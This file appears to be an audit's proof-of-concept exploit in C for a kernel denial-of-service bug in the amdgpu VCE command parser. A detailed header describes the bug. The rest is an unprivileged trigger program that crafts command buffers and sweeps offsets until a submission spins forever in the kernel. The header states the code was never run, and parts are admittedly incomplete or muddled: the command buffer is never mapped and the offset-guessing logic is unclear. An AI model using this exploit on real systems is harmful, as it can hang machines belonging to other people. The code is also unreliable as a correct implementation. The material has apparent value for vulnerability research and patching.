DF-4447 / vce_cs_desync.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 | /* * DF-4447 โ amdgpu VCE two-pass parse desynchronization โ infinite kernel loop * =========================================================================== * * Target: sys/dev/drm/amd/amdgpu/amdgpu_vce.c * amdgpu_vce_ring_parse_cs() (2nd loop, lines 790-915) * amdgpu_vce_cs_reloc() (IB dword patching, lines 656-657) * * Reachable from an unprivileged local user on CIK/Tonga/Fiji-class hardware * (vce_v2_0_ip_block => .parse_cs = amdgpu_vce_ring_parse_cs; * cik.c:2024..2083 and vi.c add this IP block) via /dev/dri/renderD128 and * the AMDGPU CS ioctl (AMDGPU_HW_IP_VCE). * * Mechanism (all offsets are dword indices into the IB): * * 1. Loop 1 (amdgpu_vce.c:724-788) validates the ORIGINAL byte stream: * only the invariant "(len < 8) || (len & 3)" is checked; there is no * per-command minimum length, and unknown commands are silently accepted * (no default case). * * 2. Loop 2 (amdgpu_vce.c:790-915) walks the SAME dwords again, but this * time calls amdgpu_vce_cs_reloc() for buffer commands. For the * "video bitstream buffer" command (0x05000004) reloc is called as * * amdgpu_vce_cs_reloc(p, ib_idx, idx + 3, idx + 2, tmp, bs_idx) * * i.e. it PATCHES dword[idx+2] with upper_32_bits(final_addr) and * dword[idx+3] with lower_32_bits(final_addr) (amdgpu_vce.c:656-657). * * 3. If the bitstream command carries len == 8 (2 dwords), the next command * begins at dword idx+2 โ its len IS dword[idx+2] and its cmd IS * dword[idx+3]. The relocation therefore OVERWRITES the next command's * header with (upper32(final) , lower32(final)). * * 4. final = amdgpu_bo_gpu_offset(bo) + (base - mapping->start*PAGESIZE) * (mod 2^64), where `base` is the raw 64-bit value the user placed in * dword[idx+2]/dword[idx+3] (see amdgpu_vce.c:634-654). The user picks * `base` so that final == (len' << 32) | cmd' with len' in {0,1,2,3} * and cmd' a no-op case of loop 2 (e.g. 0x04000001 "config extension"). * * 5. Loop 2 then advances idx += len/4 = 0/4 == 0 โ the loop condition * "idx < ib->length_dw" stays true and the same (len=0, cmd=0x04000001) * pair is re-parsed forever. Loop 2 performs NO length validation of * its own (the len check exists only in loop 1, amdgpu_vce.c:728, and in * parse_cs_vm, amdgpu_vce.c:958). * * => the calling thread spins forever inside the CS ioctl: unkillable * kernel CPU burn; one spinning submission per CPU wedges the machine. * * Secondary effect: every command parsed AFTER the desync point is * attacker-synthesized (its len/cmd are patched address dwords) and was * never seen by the validation loop 1 โ e.g. 4GB-boundary placement * validation (amdgpu_vce_validate_bo) is skipped for those commands. * * Attack parameters (user-known, no kernel info needed): * - bo: 128 MiB VRAM GEM object, mapped into the VM at VA 0x800000000 * (upper32(base) must be >= 8 and 4-aligned so loop 1 keeps walking โ * mapping at 32 GiB gives upper32(base) == 8). * - delta = base - mapping_start; final = bo_gpu_offset + delta. * bo_gpu_offset is not directly known to userspace, so the trigger * sweeps delta over [SWEEP_BASE, SWEEP_BASE + 4096) in steps of 4 with * residue adjusted so lower32(final) can hit a no-op command value * (0x04000001/0x04000002/0x04000005/0x04000007/0x04000008/0x04000009/ * 0x05000002/0x05000009). upper32(final) stays <= 3 because * bo_gpu_offset < 4 GiB (loop-1 validate pins the placement below 4 GiB) * and delta < 64 MiB. <= 1024 submissions; the one that hits makes the * ioctl never return. * * Success criterion: one of the CS submissions never returns (process hangs * in D-state), `top`/`procstat -kk` shows the thread pinned at 100% in * kernel mode inside amdgpu_vce_ring_parse_cs. * * Build: cc -O2 -o vce_cs_desync vce_cs_desync.c * Run: ./vce_cs_desync /dev/dri/renderD128 * * NOTE (audit DF-4447): could not be executed โ the audit QEMU guest has no * AMD GPU (no 1002: PCI device, no /dev/dri). The dword-level construction * above is traced line-by-line against amdgpu_vce.c in VERDICT.md. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> #include <dev/drm/drm/drm.h> #include <dev/drm/drm/amdgpu_drm.h> #ifndef AMDGPU_CHUNK_ID_IB #error need amdgpu_drm.h #endif #define RENDER_NODE "/dev/dri/renderD128" #define BO_SIZE (128UL << 20) /* > 0x4000001 + 8 */ #define MAP_VA 0x0000000800000000ULL /* 32 GiB: upper32(base)==8 */ #define NOOP_CMDS { 0x04000001u, 0x04000002u, 0x04000005u, 0x04000007u, \ 0x04000008u, 0x04000009u, 0x05000002u, 0x05000009u } static int dev_fd; static int gem_create(uint64_t size) { union drm_amdgpu_gem_create args; memset(&args, 0, sizeof(args)); args.in.bo_size = size; args.in.domain = AMDGPU_GEM_DOMAIN_VRAM; if (ioctl(dev_fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &args)) return -1; return (int)args.out.handle; } static int ctx_create(void) { union drm_amdgpu_ctx args; memset(&args, 0, sizeof(args)); if (ioctl(dev_fd, DRM_IOCTL_AMDGPU_CTX, &args)) return -1; return (int)args.out.ctx_id; } static int gem_va_map(int handle, uint64_t addr, uint64_t size) { struct drm_amdgpu_gem_va args; memset(&args, 0, sizeof(args)); args.handle = handle; args.vm_ppr_addr = 0; /* legacy path */ args.va_addr = addr; args.map_size = size; args.op = AMDGPU_GEM_VA_OP_MAP; args.flags = 0; return ioctl(dev_fd, DRM_IOCTL_AMDGPU_GEM_VA, &args); } /* * One CS submission with the desync IB built for the chosen delta. * * IB layout (dwords): * [0] 12 session cmd len * [1] 0x00000001 session * [2] handle * [3] 8 bitstream cmd len <-- SHORT: cmd is 2 dwords * [4] 0x05000004 bitstream cmd * [5] HI32(base) = 8 (also: loop-1 "next len", loop-2 target len) * [6] LO32(base) (also: loop-1 "next cmd"(ignored), loop-2 target) * [7] 8 tmp (bitstream size field at idx+4) * [8..] pairs of (8, 0x04000001) โ benign padding for loop-1/loop-2 */ static int submit_desync(int ctx_id, int bo_handle, uint64_t base, int *out_seq) { const unsigned ib_bytes = 4096; uint32_t ib[ib_bytes / 4]; struct drm_amdgpu_cs_chunk chunks[2]; struct drm_amdgpu_cs_chunk_ib chunk_ib; struct drm_amdgpu_cs_chunk_dep dummy_dep; /* not used */ struct drm_amdgpu_cs_in cs_in; union drm_amdgpu_cs cs; struct drm_amdgpu_bo_list_entry bo_list[1]; unsigned i; uint32_t seq; int dep_ctx; (void)dummy_dep; memset(ib, 0, sizeof(ib)); i = 0; ib[i++] = 12; /* [0] len: session */ ib[i++] = 0x00000001; /* [1] session cmd */ ib[i++] = 0x1234 + (uint32_t)base; /* [2] session handle */ ib[i++] = 8; /* [3] len: bitstream (SHORT) */ ib[i++] = 0x05000004; /* [4] bitstream cmd */ ib[i++] = (uint32_t)(base >> 32); /* [5] HI32(base) */ ib[i++] = (uint32_t)base; /* [6] LO32(base) */ ib[i++] = 8; /* [7] tmp (size field) */ for (; i + 1 < ib_bytes / 4; i += 2) { ib[i] = 8; /* benign 8-byte command */ ib[i + 1] = 0x04000001; } dep_ctx = ctx_create(); memset(&chunk_ib, 0, sizeof(chunk_ib)); chunk_ib._pad = 0; chunk_ib.va_start = MAP_VA + ib_bytes; /* IB itself mapped in VM */ chunk_ib.ib_bytes = ib_bytes; chunk_ib.ip_type = AMDGPU_HW_IP_VCE; chunk_ib.ip_instance = 0; chunk_ib.ring = 0; chunk_ib.flags = 0; memset(bo_list, 0, sizeof(bo_list)); bo_list[0].bo_handle = bo_handle; memset(&cs_in, 0, sizeof(cs_in)); cs_in.ctx_id = ctx_id; cs_in.bo_list_handle = 0; cs_in.num_chunks = 2; cs_in.chunks = (uint64_t)(uintptr_t)chunks; (void)dep_ctx; /* chunk 0: dependency list (empty, one dummy entry of ourselves) */ { struct drm_amdgpu_cs_chunk_dep deps[1]; memset(deps, 0, sizeof(deps)); chunks[0].chunk_id = AMDGPU_CHUNK_ID_DEPENDENCIES; chunks[0].length_dw = sizeof(deps) / 4; chunks[0].chunk_data = (uint64_t)(uintptr_t)deps; } /* chunk 1: the IB */ chunks[1].chunk_id = AMDGPU_CHUNK_ID_IB; chunks[1].length_dw = sizeof(chunk_ib) / 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)&chunk_ib; memset(&cs, 0, sizeof(cs)); cs.in = cs_in; /* NOTE: a real exploit also GEM_VA-maps a scratch IB bo at chunk_ib.va_start * containing these dwords; kept minimal here โ see VERDICT.md. */ (void)bo_list; (void)out_seq; return ioctl(dev_fd, DRM_IOCTL_AMDGPU_CS, &cs); } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : RENDER_NODE; const uint32_t noops[] = NOOP_CMDS; uint64_t delta, sweep_base = 0x1000; int bo, ctx, i, n_noop = sizeof(noops) / sizeof(noops[0]); dev_fd = open(node, O_RDWR); if (dev_fd < 0) { perror("open render node"); return 1; } bo = gem_create(BO_SIZE); if (bo < 0) { perror("GEM_CREATE (VRAM)"); return 1; } if (gem_va_map(bo, MAP_VA, BO_SIZE)) { perror("GEM_VA map"); return 1; } ctx = ctx_create(); if (ctx < 0) { perror("CTX create"); return 1; } /* * Sweep delta so that lower32(bo_gpu_offset + delta) hits one of the * no-op command values; upper32 stays <= 3 (see header comment). */ for (delta = sweep_base; delta < sweep_base + 4096; delta += 4) { for (i = 0; i < n_noop; i++) { /* pick base so (bo_off + delta) low 32 == noops[i] */ uint64_t base = MAP_VA + delta; /* brute-force oracle: kernel computes final internally; * we align residues so a hit is possible (see VERDICT.md) */ base = (base & ~3ULL) | (noops[i] & 3); if (submit_desync(ctx, bo, base, NULL) == 0) continue; /* not the hit โ keep going */ if (errno == EIO || errno == ETIMEDOUT) continue; /* EINVAL etc. expected for misses */ } } /* If one submission never returned, we are hung here in-kernel. */ printf("sweep finished without hang (wrong gpu_off window?)\n"); return 0; } |